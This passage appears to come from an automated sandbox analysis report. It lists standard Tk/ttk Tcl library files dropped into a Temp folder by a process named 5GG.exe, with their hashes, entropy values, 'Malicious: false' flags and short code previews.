Windows has a

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\defaults.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	4.933885986949396
Encrypted:	false
SSDEEP:	96:lNl3u3lCFUeuMGN3xbVJU+N3xbVJh3IwxkxlBqatUrtY:zl3ZUe9GN3NVC+N3NVjqntUZY
MD5:	FC79F42761D63172163C08F0F5C94436
SHA1:	AABAB4061597D0D6DC371F46D14AAA1A859096DF
SHA-256:	49AE8FAF169165BDDAF01D50B52943EBAB3656E9468292B7890BE143D0FCBC91
SHA-512:	F619834A95C9DEB93F8184BCC437D701A961C77E24A831ADBD5C145556D26986BFDA2A6ACB9E8784F8B2380E122D12AC893EB1B6ACF03098922889497E1FF9EA
Malicious:	false
Preview:	#..# Settings for default theme...#....namespace eval ttk::theme::default {.. variable colors.. array set colors {...-frame..."#d9d9d9"...-foreground.."#000000"...-window..."#ffffff"...-text .."#000000"...-activebg.."#ececec"...-selectbg.."#4a6984"...-selectfg.."#ffffff"...-darker .."#c3c3c3"...-disabledfg.."#a3a3a3"...-indicator.."#4a6984"...-disabledindicator."#a3a3a3"...-altindicator.."#9fbdd8"...-disabledaltindicator."#c0c0c0".. }.... ttk::style theme settings default {.....ttk::style configure "." \... -borderwidth .1 \... -background .$colors(-frame) \... -foreground .$colors(-foreground) \... -troughcolor .$colors(-darker) \... -font ..TkDefaultFont \... -selectborderwidth.1 \... -selectbackground.$colors(-selectbg) \... -selectforeground.$colors(-selectfg) \... -insertwidth .1 \... -indicatordiameter.10 \... ;.....ttk::style map "." -background \... [list disabled $colors(-frame) active $colors(-activebg)]...ttk::style map "."

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\entry.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17617
Entropy (8bit):	5.025882547402842
Encrypted:	false
SSDEEP:	384:sca9JzOyzf6yzwO+v+iPT3vKof8q3YIuR13a:sT9JzOy76wiV3YNa
MD5:	89089172393C551CD1668B9C19B88290
SHA1:	0B8667217A4A14289E9F6C1B384DEF5479BCA089
SHA-256:	830CC3009A735E92DB70D53210C4928DD35CAAB5051ED14DEC67E06AE25CBE28
SHA-512:	ABBBE6AA937AAB392BC7DCB8BBFBBEC9EE5ED2C9F10ED982D77258BD98F27EE95AC47FD7CB6761B814885EF0878E1F1557D034C9F4163D9D85B388F2B837683F
Malicious:	false
Preview:	#..# DERIVED FROM: tk/library/entry.tcl r1.22..#..# Copyright (c) 1992-1994 The Regents of the University of California...# Copyright (c) 1994-1997 Sun Microsystems, Inc...# Copyright (c) 2004, Joe English..#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....namespace eval ttk {.. namespace eval entry {...variable State.....set State(x) 0...set State(selectMode) none...set State(anchor) 0...set State(scanX) 0...set State(scanIndex) 0...set State(scanMoved) 0.....# Button-2 scan speed is (scanNum/scanDen) characters...# per pixel of mouse movement....# The standard Tk entry widget uses the equivalent of...# scanNum = 10, scanDen = average character width....# I don't know why that was chosen....#...set State(scanNum) 1...set State(scanDen) 1...set State(deadband) 3.;# #pixels for mouse-moved deadband... }..}....### Option database settings...#..option add *TEntry.cursor [ttk::cursor text] widg

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\fonts.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5732
Entropy (8bit):	5.001928619185109
Encrypted:	false
SSDEEP:	96:NzEh94ntnVU8Z/1LkAKgW22SeLMQR8hzcksejmOF4ytZm:Sh9ahV3ZWAKgWDfktm
MD5:	80331FCBE4C049FF1A0D0B879CB208DE
SHA1:	4EB3EFDFE3731BD1AE9FD52CE32B1359241F13CF
SHA-256:	B94C319E5A557A5665B1676D602B6495C0887C5BACF7FA5B776200112978BB7B
SHA-512:	A4BD2D91801C121A880225F1F3D0C4E30BF127190CF375F6F7A49EB4239A35C49C44F453D6D3610DF0D6A7B3CB15F4E79BD9C129025CC496CEB856FCC4B6DE87
Malicious:	false
Preview:	#..# Font specifications...#..# This file, [source]d at initialization time, sets up the following..# symbolic fonts based on the current platform:..#..# TkDefaultFont.-- default for GUI items not otherwise specified..# TkTextFont.-- font for user text (entry, listbox, others)..# TkFixedFont.-- standard fixed width font..# TkHeadingFont.-- headings (column headings, etc)..# TkCaptionFont -- dialog captions (primary text in alert dialogs, etc.)..# TkTooltipFont.-- font to use for tooltip windows..# TkIconFont.-- font to use for icon captions..# TkMenuFont.-- used to use for menu items..#..# In Tk 8.5, some of these fonts may be provided by the TIP#145 implementation..# (On Windows and Mac OS X as of Oct 2007)...#..# +++ Platform notes:..#..# Windows:..#.The default system font changed from "MS Sans Serif" to "Tahoma"..# .in Windows XP/Windows 2000...#..#.MS documentation says to use "Tahoma 8" in Windows 2000/XP,..#.although many MS programs still use "MS Sans Serif 8"..#..#.Should use

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\menubutton.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6641
Entropy (8bit):	4.923865616450888
Encrypted:	false
SSDEEP:	192:toMcJQkmcE6fNuLyiCpYSmFSRwgppdT3kXdpK3dpKkNf2tOTjvAG:tRc6kFbcz2pyXz+zZ2y
MD5:	4C8D90257D073F263B258F00B2A518C2
SHA1:	7B58859E9B70FB37F53809CD3FFD7CF69AB310D8
SHA-256:	972B13854D0E9B84DE338D6753F0F11F3A8534E7D0E51838796DAE5A1E2E3085
SHA-512:	ED67F41578EE834EE8DB1FDED8AA069C0045E7058E338C451FA8E1ADE52907BED0C95631C21B8E88461571903B3DA2698A29E47F990B7A0F0DD3073E7A1BCADC
Malicious:	false
Preview:	#..# Bindings for Menubuttons...#..# Menubuttons have three interaction modes:..#..# Pulldown: Press menubutton, drag over menu, release to activate menu entry..# Popdown: Click menubutton to post menu..# Keyboard: <space> or accelerator key to post menu..#..# (In addition, when menu system is active, "dropdown" -- menu posts..# on mouse-over. Ttk menubuttons don't implement this)...#..# For keyboard and popdown mode, we hand off to tk_popup and let..# the built-in Tk bindings handle the rest of the interaction...#..# ON X11:..#..# Standard Tk menubuttons use a global grab on the menubutton...# This won't work for Ttk menubuttons in pulldown mode,..# since we need to process the final <ButtonRelease> event,..# and this might be delivered to the menu. So instead we..# rely on the passive grab that occurs on <Button> events,..# and transition to popdown mode when the mouse is released..# or dragged outside the menubutton...#..# ON WINDOWS:..#..# I'm not sure what the hell is going on h

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\notebook.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5825
Entropy (8bit):	4.96378772387536
Encrypted:	false
SSDEEP:	96:RErUhyi5JeUQBWdz6eP8ClR6/u6AsBmPNNiREUkheLY1EVL23sN2JJjQdD:6uyiyDQBP8q6/u6AUREUsNEVq3y2jkdD
MD5:	F811F3E46A4EFA73292F40D1CDDD265D
SHA1:	7FC70A1984555672653A0840499954B854F27920
SHA-256:	22264D8D138E2C0E9A950305B4F08557C5A73F054F8215C0D8CE03854042BE76
SHA-512:	4424B7C687EB9B1804ED3B1C685F19D4D349753B374D9046240F937785C9713E8A760ADA46CB628C15F9C7983CE4A7987691C968330478C9C1A9B74E953E40AC
Malicious:	false
Preview:	#..# Bindings for TNotebook widget..#....namespace eval ttk::notebook {.. variable TLNotebooks ;# See enableTraversal..}....bind TNotebook <Button-1>..{ ttk::notebook::Press %W %x %y }..bind TNotebook <Right>...{ ttk::notebook::CycleTab %W 1; break }..bind TNotebook <Left>...{ ttk::notebook::CycleTab %W -1; break }..bind TNotebook <Control-Tab>..{ ttk::notebook::CycleTab %W 1; break }..bind TNotebook <Control-Shift-Tab>.{ ttk::notebook::CycleTab %W -1; break }..catch {..bind TNotebook <Control-ISO_Left_Tab>.{ ttk::notebook::CycleTab %W -1; break }..}..bind TNotebook <Destroy>..{ ttk::notebook::Cleanup %W }....# ActivateTab $nb $tab --..#.Select the specified tab and set focus...#..# Desired behavior:..#.+ take focus when reselecting the currently-selected tab;..#.+ keep focus if the notebook already has it;..#.+ otherwise set focus to the first traversable widget..#. in the newly-selected tab;..#.+ do not leave the focus in a deselected tab...#..proc ttk::notebook::ActivateTab {

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\panedwindow.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2290
Entropy (8bit):	4.948496148661722
Encrypted:	false
SSDEEP:	48:zVAqE3ZF8b4rXzsqALAXsmCLFeNqkFeNXLz:zLeU4bzNs1h
MD5:	619D8F54EE73AD8A373AB272FBDB94A6
SHA1:	973626B5396B7E786DEDD8159D10E66B4465F9E0
SHA-256:	4D08A7E29EEF731876951EF01DFA51654B6275FA3DAADB1F48FF4BBEAC238EB5
SHA-512:	0D913C7DC9DAEE2B4A2A46663A07B3139D6B8F30D2F942642817504535E85616835EAA7D468851A83723A3DD711B65761376F3DF96A59A933A74EF096E13ACE9
Malicious:	false
Preview:	#..# Bindings for ttk::panedwindow widget...#....namespace eval ttk::panedwindow {.. variable State.. array set State {...pressed 0.. .pressX.-...pressY.-...sash .-...sashPos -.. }..}....## Bindings:..#..bind TPanedwindow <Button-1> ..{ ttk::panedwindow::Press %W %x %y }..bind TPanedwindow <B1-Motion>..{ ttk::panedwindow::Drag %W %x %y }..bind TPanedwindow <ButtonRelease-1> .{ ttk::panedwindow::Release %W %x %y }....bind TPanedwindow <Motion> ..{ ttk::panedwindow::SetCursor %W %x %y }..bind TPanedwindow <Enter> ..{ ttk::panedwindow::SetCursor %W %x %y }..bind TPanedwindow <Leave> ..{ ttk::panedwindow::ResetCursor %W }..# See <<NOTE-PW-LEAVE-NOTIFYINFERIOR>>..bind TPanedwindow <<EnteredChild>>.{ ttk::panedwindow::ResetCursor %W }....## Sash movement:..#..proc ttk::panedwindow::Press {w x y} {.. variable State.... set sash [$w identify $x $y].. if {$sash eq ""} {.. .set State(pressed) 0...return.. }.. set State(pressed) .1.. set State(pressX) .$x.. set

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\progress.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1138
Entropy (8bit):	4.763501917862434
Encrypted:	false
SSDEEP:	24:nJ8v3O0NSiio0pNFVkIks0ImxlnINgDImSgGINSyWghT:JFqS/o03fkxs0Rn+gD4v+S2F
MD5:	DBF3BF0E8F04E9435E9561F740DFC700
SHA1:	C7619A05A834EFB901C57DCFEC2C9E625F42428F
SHA-256:	697CC0A75AE31FE9C2D85FB25DCA0AFA5D0DF9C523A2DFAD2E4A36893BE75FBA
SHA-512:	D3B323DFB3EAC4A78DA2381405925C131A99C6806AF6FD8041102162A44E48BF166982A4AE4AA142A14601736716F1A628D9587E292FA8E4842BE984374CC192
Malicious:	false
Preview:	#..# Ttk widget set: progress bar utilities...#....namespace eval ttk::progressbar {.. variable Timers.;# Map: widget name -> after ID..}....# Autoincrement --..#.Periodic callback procedure for autoincrement mode..#..proc ttk::progressbar::Autoincrement {pb steptime stepsize} {.. variable Timers.... if {![winfo exists $pb]} {.. .# widget has been destroyed -- cancel timer...unset -nocomplain Timers($pb)...return.. }.... set Timers($pb) [after $steptime \.. .[list ttk::progressbar::Autoincrement $pb $steptime $stepsize] ].... $pb step $stepsize..}....# ttk::progressbar::start --..#.Start autoincrement mode. Invoked by [$pb start] widget code...#..proc ttk::progressbar::start {pb {steptime 50} {stepsize 1}} {.. variable Timers.. if {![info exists Timers($pb)]} {...Autoincrement $pb $steptime $stepsize.. }..}....# ttk::progressbar::stop --..#.Cancel autoincrement mode. Invoked by [$pb stop] widget code...#..proc ttk::progressbar::stop {pb} {.. variabl

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\scale.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2787
Entropy (8bit):	4.795451191784129
Encrypted:	false
SSDEEP:	48:IKADAzizZIcAlRqucObmn4AzyVN2AJyhAzukPNP:IHIBRqupmLSZkklP
MD5:	F1C33CC2D47115BBECD2E7C2FCB631A7
SHA1:	0123A961242ED8049B37C77C726DB8DBD94C1023
SHA-256:	B909ADD0B87FA8EE08FD731041907212A8A0939D37D2FF9B2F600CD67DABD4BB
SHA-512:	96587A8C3555DA1D810010C10C516CE5CCAB071557A3C8D9BD65C647C7D4AD0E35CBED0788F1D72BAFAC8C84C7E2703FC747F70D9C95F720745A1FC4A701C544
Malicious:	false
Preview:	# scale.tcl - Copyright (C) 2004 Pat Thoyts <patthoyts@users.sourceforge.net>..#..# Bindings for the TScale widget....namespace eval ttk::scale {.. variable State.. array set State {...dragging 0.. }..}....bind TScale <Button-1> { ttk::scale::Press %W %x %y }..bind TScale <B1-Motion> { ttk::scale::Drag %W %x %y }..bind TScale <ButtonRelease-1> { ttk::scale::Release %W %x %y }....bind TScale <Button-2> { ttk::scale::Jump %W %x %y }..bind TScale <B2-Motion> { ttk::scale::Drag %W %x %y }..bind TScale <ButtonRelease-2> { ttk::scale::Release %W %x %y }....bind TScale <Button-3> { ttk::scale::Jump %W %x %y }..bind TScale <B3-Motion> { ttk::scale::Drag %W %x %y }..bind TScale <ButtonRelease-3> { ttk::scale::Release %W %x %y }....## Keyboard navigation bindings:..#..bind TScale <<LineStart>> { %W set [%W cget -from] }..bind TScale <<LineEnd>> { %W set [%W cget -to] }....bind TScale <<PrevChar>> { ttk::scale::Increment %W -1 }..bin

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\scrollbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	4.979174619784594
Encrypted:	false
SSDEEP:	48:tyASEji8RYQ8FGD7BDos9Q1TBfvq/HKTh9lkHv8T/mAezeLEAAFULxZh4x:eIi8qFu2d11XlhfkPcczeLS4Zm
MD5:	3FB31A225CEC64B720B8E579582F2749
SHA1:	9C0151D9E2543C217CF8699FF5D4299A72E8F13C
SHA-256:	6EAA336B13815A7FC18BCD6B9ADF722E794DA2888D053C229044784C8C8E9DE8
SHA-512:	E6865655585E3D2D6839B56811F3FD86B454E8CD44E258BB1AC576AD245FF8A4D49FBB7F43458BA8A6C9DAAC8DFA923A176F0DD8A9976A11BEA09E6E2D17BF45
Malicious:	false
Preview:	#..# Bindings for TScrollbar widget..#....namespace eval ttk::scrollbar {.. variable State.. # State(xPress).--.. # State(yPress).-- initial position of mouse at start of drag... # State(first).-- value of -first at start of drag...}....bind TScrollbar <Button-1> ..{ ttk::scrollbar::Press %W %x %y }..bind TScrollbar <B1-Motion>..{ ttk::scrollbar::Drag %W %x %y }..bind TScrollbar <ButtonRelease-1>.{ ttk::scrollbar::Release %W %x %y }....bind TScrollbar <Button-2> ..{ ttk::scrollbar::Jump %W %x %y }..bind TScrollbar <B2-Motion>..{ ttk::scrollbar::Drag %W %x %y }..bind TScrollbar <ButtonRelease-2>.{ ttk::scrollbar::Release %W %x %y }....# Redirect scrollwheel bindings to the scrollbar widget..#..# The shift-bindings scroll left/right (not up/down)..# if a widget has both possibilities..set eventList [list <MouseWheel> <Shift-MouseWheel>]..switch [tk windowingsystem] {.. aqua {.. lappend eventList <Option-MouseWheel> <Shift-Option-MouseWheel>.. }.. x11 {..

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\sizegrip.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2503
Entropy (8bit):	4.830288003879418
Encrypted:	false
SSDEEP:	48:naLvMnAqeYQWYh7FvBrrbnMCfY/aVAbAigWAuFM0PfWAX20:nWQapprPnJY/8A8iRFdPtj
MD5:	DD6A1737B14D3F7B2A0B4F8BE99C30AF
SHA1:	E6B06895317E73CD3DC78234DD74C74F3DB8C105
SHA-256:	E92D77B5CDCA2206376DB2129E87E3D744B3D5E31FDE6C0BBD44A494A6845CE1
SHA-512:	B74AE92EDD53652F8A3DB0D84C18F9CE9069805BCAB0D3C2DBB537D7C241AA2681DA69B699D88A10029798D7B5BC015682F64699BA475AE6A379EEF23B48DAAF
Malicious:	false
Preview:	#..# Sizegrip widget bindings...#..# Dragging a sizegrip widget resizes the containing toplevel...#..# NOTE: the sizegrip widget must be in the lower right hand corner...#....switch -- [tk windowingsystem] {.. x11 -.. win32 {...option add *TSizegrip.cursor [ttk::cursor seresize] widgetDefault.. }.. aqua {.. .# Aqua sizegrips use default Arrow cursor... }..}....namespace eval ttk::sizegrip {.. variable State.. array set State {...pressed .0...pressX ..0...pressY ..0...width ..0...height ..0...widthInc.1...heightInc.1.. resizeX 1.. resizeY 1...toplevel .{}.. }..}....bind TSizegrip <Button-1> ..{ ttk::sizegrip::Press.%W %X %Y }..bind TSizegrip <B1-Motion> ..{ ttk::sizegrip::Drag .%W %X %Y }..bind TSizegrip <ButtonRelease-1> .{ ttk::sizegrip::Release %W %X %Y }....proc ttk::sizegrip::Press {W X Y} {.. variable State.... if {[$W instate disabled]} { return }.... set top [winfo toplevel $W].... # If the toplevel is not resi

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5003
Entropy (8bit):	5.055050310142795
Encrypted:	false
SSDEEP:	96:1qg/+yrjqA/K5ytxm1J1Ve6J1yQLUAzz/S76hrwxGGe2F:N/+yr2Gk1J1Ve6fxUAzDS76hrwxs2F
MD5:	9C2833FAA9248F09BC2E6AB1BA326D59
SHA1:	F13CF048FD706BBB1581DC80E33D1AAD910D93E8
SHA-256:	DF286BB59F471AA1E19DF39AF0EF7AA84DF9F04DC4A439A747DD8BA43C300150
SHA-512:	5FF3BE1E3D651C145950C3FC5B8C2E842211C937D1042173964383D4D59ECF5DD0EC39FF7771D029716F2D895F0B1A72591EF3BF7947FE64D4D6DB5F0B8ABFFB
Malicious:	false
Preview:	#..# ttk::spinbox bindings..#....namespace eval ttk::spinbox { }....### Spinbox bindings...#..# Duplicate the Entry bindings, override if needed:..#....ttk::copyBindings TEntry TSpinbox....bind TSpinbox <Motion>...{ ttk::spinbox::Motion %W %x %y }..bind TSpinbox <Button-1> ..{ ttk::spinbox::Press %W %x %y }..bind TSpinbox <ButtonRelease-1> .{ ttk::spinbox::Release %W }..bind TSpinbox <Double-Button-1> .{ ttk::spinbox::DoubleClick %W %x %y }..bind TSpinbox <Triple-Button-1> .{} ;# disable TEntry triple-click....bind TSpinbox <Up>...{ event generate %W <<Increment>> }..bind TSpinbox <Down> ...{ event generate %W <<Decrement>> }....bind TSpinbox <<Increment>>..{ ttk::spinbox::Spin %W +1 }..bind TSpinbox <<Decrement>> ..{ ttk::spinbox::Spin %W -1 }....ttk::bindMouseWheel TSpinbox ..[list ttk::spinbox::MouseWheel %W]....## Motion --..#.Sets cursor...#..proc ttk::spinbox::Motion {w x y} {.. variable State.. ttk::saveCursor $w State(userConfCursor) [ttk::cursor text].. if { [$w ide

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\treeview.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10180
Entropy (8bit):	4.886259798213254
Encrypted:	false
SSDEEP:	96:FoTvMxHZZ1u2xj7+ZBHxjiXJv9IfwW+vr3UxjXEJDTF/MyLF3JcMzlsra2tYGa5P:mImAkRKYXMH59o4UbS30LWb
MD5:	F705B3A292D02061DA0ABB4A8DD24077
SHA1:	FD75C2250F6F66435444F7DEEF383C6397ED2368
SHA-256:	C88B60FFB0F72E095F6FC9786930ADD7F9ED049EABC713F889F9A7DA516E188C
SHA-512:	09817638DD3D3D5C57FA630C7EDF2F19C3956C9BD264DBF07627FA14A03AECD22D5A5319806E49EF1030204FADEF17C57CE8EAE4378A319AD2093321D9151C8F
Malicious:	false
Preview:	#..# ttk::treeview widget bindings and utilities...#....namespace eval ttk::treeview {.. variable State.... # Enter/Leave/Motion.. #.. set State(activeWidget) .{}.. set State(activeHeading) .{}.... # Press/drag/release:.. #.. set State(pressMode) .none.. set State(pressX)..0.... # For pressMode == "resize".. set State(resizeColumn).#0.... # For pressmode == "heading".. set State(heading) .{}..}....### Widget bindings...#....bind Treeview.<Motion> ..{ ttk::treeview::Motion %W %x %y }..bind Treeview.<B1-Leave>..{ #nothing }..bind Treeview.<Leave>...{ ttk::treeview::ActivateHeading {} {}}..bind Treeview.<Button-1> ..{ ttk::treeview::Press %W %x %y }..bind Treeview.<Double-Button-1> .{ ttk::treeview::DoubleClick %W %x %y }..bind Treeview.<ButtonRelease-1> .{ ttk::treeview::Release %W %x %y }..bind Treeview.<B1-Motion> ..{ ttk::treeview::Drag %W %x %y }..bind Treeview .<Up> ..{ ttk::treeview::Keynav %W up }..bind Treeview .<Down> ..{ ttk::treeview

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\ttk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4993
Entropy (8bit):	4.954034141173847
Encrypted:	false
SSDEEP:	96:lfxukTy5jPTq8LIgF2diyNTNR6nkrn4ijSSvNigyJ5612HtZG835MSvWOTRsHWU:BM+y5jrq8G/2nkEijSSvNigyJ5612Htw
MD5:	AF45B2C8B43596D1BDECA5233126BD14
SHA1:	A99E75D299C4579E10FCDD59389B98C662281A26
SHA-256:	2C48343B1A47F472D1A6B9EE8D670CE7FB428DB0DB7244DC323FF4C7A8B4F64B
SHA-512:	C8A8D01C61774321778AB149F6CA8DDA68DB69133CB5BA7C91938E4FD564160ECDCEC473222AFFB241304A9ACC73A36B134B3A602FD3587C711F2ADBB64AFA80
Malicious:	false
Preview:	#..# Ttk widget set initialization script...#....### Source library scripts...#....namespace eval ::ttk {.. variable library.. if {![info exists library]} {...set library [file dirname [info script]].. }..}....source -encoding utf-8 [file join $::ttk::library fonts.tcl]..source -encoding utf-8 [file join $::ttk::library cursors.tcl]..source -encoding utf-8 [file join $::ttk::library utils.tcl]....## ttk::deprecated $old $new --..#.Define $old command as a deprecated alias for $new command..#.$old and $new must be fully namespace-qualified...#..proc ttk::deprecated {old new} {.. interp alias {} $old {} ttk::do'deprecate $old $new..}..## do'deprecate --..#.Implementation procedure for deprecated commands --..#.issue a warning (once), then re-alias old to new...#..proc ttk::do'deprecate {old new args} {.. deprecated'warning $old $new.. interp alias {} $old {} $new.. uplevel 1 [linsert $args 0 $new]..}....## deprecated'warning --..#.Gripe about use of deprecated comman

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\utils.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	5.001791071900077
Encrypted:	false
SSDEEP:	192:e0ebpSp+IZwnmTmpx8xzaHfw8K7LVJWQl8p7M+R5:rw0+WmpWxa/w9nVJHu
MD5:	D98EDC491DA631510F124CD3934F535F
SHA1:	33037A966067C9F5C9074AE5532FF3B51B4082D4
SHA-256:	D58610A34301BB6E61A60BEC69A7CECF4C45C6A034A9FC123977174B586278BE
SHA-512:	23FAED8298E561F490997FE44AB61CD8CCB9F1F63D48BB4CF51FC9E591E463FF9297973622180D6A599CABB541C82B8FE33BF38A82C5D5905BBFA52CA0341399
Malicious:	false
Preview:	#..# Utilities for widget implementations...#....### Focus management...#..# See also: #1516479..#....## ttk::takefocus --..#.This is the default value of the "-takefocus" option..#.for ttk::* widgets that participate in keyboard navigation...#..# NOTES:..#.tk::FocusOK (called by tk_focusNext) tests [winfo viewable]..#.if -takefocus is 1, empty, or missing; but not if it's a..#.script prefix, so we have to check that here as well...#..#..proc ttk::takefocus {w} {.. expr {[$w instate !disabled] && [winfo viewable $w]}..}....## ttk::GuessTakeFocus --..#.This routine is called as a fallback for widgets..#.with a missing or empty -takefocus option...#..#.It implements the same heuristics as tk::FocusOK...#..proc ttk::GuessTakeFocus {w} {.. # Don't traverse to widgets with '-state disabled':.. #.. if {![catch {$w cget -state} state] && $state eq "disabled"} {...return 0.. }.... # Allow traversal to widgets with explicit key or focus bindings:.. #.. if {[regexp {Key\|F

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\vistaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9710
Entropy (8bit):	4.6639701588183895
Encrypted:	false
SSDEEP:	192:BktY1F+qXd95WSZaHFHRE3GRKFh2oaoT/ezKpqvYMHab:V1F+cd95WSZuhRE34KbPmKmY2ab
MD5:	0AA7F8B43C3E07F3A4DA07FC6DF9A1B0
SHA1:	153AFB735B10BBA16CFBE161777232F983845D90
SHA-256:	EC5F203C69DF390E9B99944CF3526D6E77DC6F68E9B1A029F326A41AFED1EF81
SHA-512:	5406553211CD6714C98EF7765ABD46424CCB013343EFF693FDD3AE6E0AAE9B5983446E0E1CC706D6B2C285084BF83D397306D3D52028CBBCFB8F369857C5B69C
Malicious:	false
Preview:	#..# Settings for Microsoft Windows Vista and Server 2008..#....# The Vista theme can only be defined on Windows Vista and above. The theme..# is created in C due to the need to assign a theme-enabled function for..# detecting when themeing is disabled. On systems that cannot support the..# Vista theme, there will be no such theme created and we must not..# evaluate this script.....if {"vista" ni [ttk::style theme names]} {.. return..}....namespace eval ttk::theme::vista {.... ttk::style theme settings vista {.... .ttk::style configure . \... -background SystemButtonFace \... -foreground SystemWindowText \... -selectforeground SystemHighlightText \... -selectbackground SystemHighlight \... -insertcolor SystemWindowText \... -font TkDefaultFont \... ;.....ttk::style map "." \... -foreground [list disabled SystemGrayText] \... ;.....ttk::style configure TButton -anchor center -padding {1 1} -width -11...ttk::style configure TRadiobutton -padding 2...ttk::

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\winTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2865
Entropy (8bit):	4.917847108902527
Encrypted:	false
SSDEEP:	48:b69VhW2gL5FPVWRzQsVqrEuF3yYrf7rfJF8xUqBgLt6g3ktO5jo4+iZ6O2htYtCW:bbXl+CEqZNNSxU0Ht2MR7W
MD5:	769C0719A4044F91E7D132A25291E473
SHA1:	6FB07B0C887D443A43FB15D5728920B578171219
SHA-256:	AE82BCCCE708FF9C303CBCB3D4CC3FF5577A60D5B23822EA79E3E07CCE3CBBD1
SHA-512:	47FED061DDC6B4EB63EF77901D0094FF2EBB1BAFACB3F44FBF13FB59DEA1EC83985B2862086ECF1A7957819A88A0FAA144B35F16BEA9356BBD9775070D42E636
Malicious:	false
Preview:	#..# Settings for 'winnative' theme...#....namespace eval ttk::theme::winnative {.. ttk::style theme settings winnative {.....ttk::style configure "." \... -background SystemButtonFace \... -foreground SystemWindowText \... -selectforeground SystemHighlightText \... -selectbackground SystemHighlight \... -fieldbackground SystemWindow \... -insertcolor SystemWindowText \... -troughcolor SystemScrollbar \... -font TkDefaultFont \... ;.....ttk::style map "." -foreground [list disabled SystemGrayText] ;.. ttk::style map "." -embossed [list disabled 1] ;.....ttk::style configure TButton \... -anchor center -width -11 -relief raised -shiftrelief 1...ttk::style configure TCheckbutton -padding "2 4"...ttk::style configure TRadiobutton -padding "2 4"...ttk::style configure TMenubutton \... -padding "8 4" -arrowsize 3 -relief raised.....ttk::style map TButton -relief {{!disabled pressed} sunken}.....ttk::style configure TEntry \... -padding 2 -select

C:\Users\user\AppData\Local\Temp\_MEI73402\tk\ttk\xpTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2103
Entropy (8bit):	4.9805308941424355
Encrypted:	false
SSDEEP:	48:aaiIu89VhW2gLRWJyO514rf+rfzxTrf/MW+iZ6O2htYtCp:XoXAk21nxQ7p
MD5:	162F30D2716438C75EA16B57E6F63088
SHA1:	3F626FF0496BB16B27106BED7E38D1C72D1E3E27
SHA-256:	AEDB21C6B2909A4BB4686837D2126E521A8CC2B38414A4540387B801EBD75466
SHA-512:	6EBF9648F1381D04F351BB469B6E3A38F3D002189C92EAF80A18D65632037FF37D34EC8814BBF7FAE34553645BFC13985212F24684EE8C4E205729B975C88C97
Malicious:	false
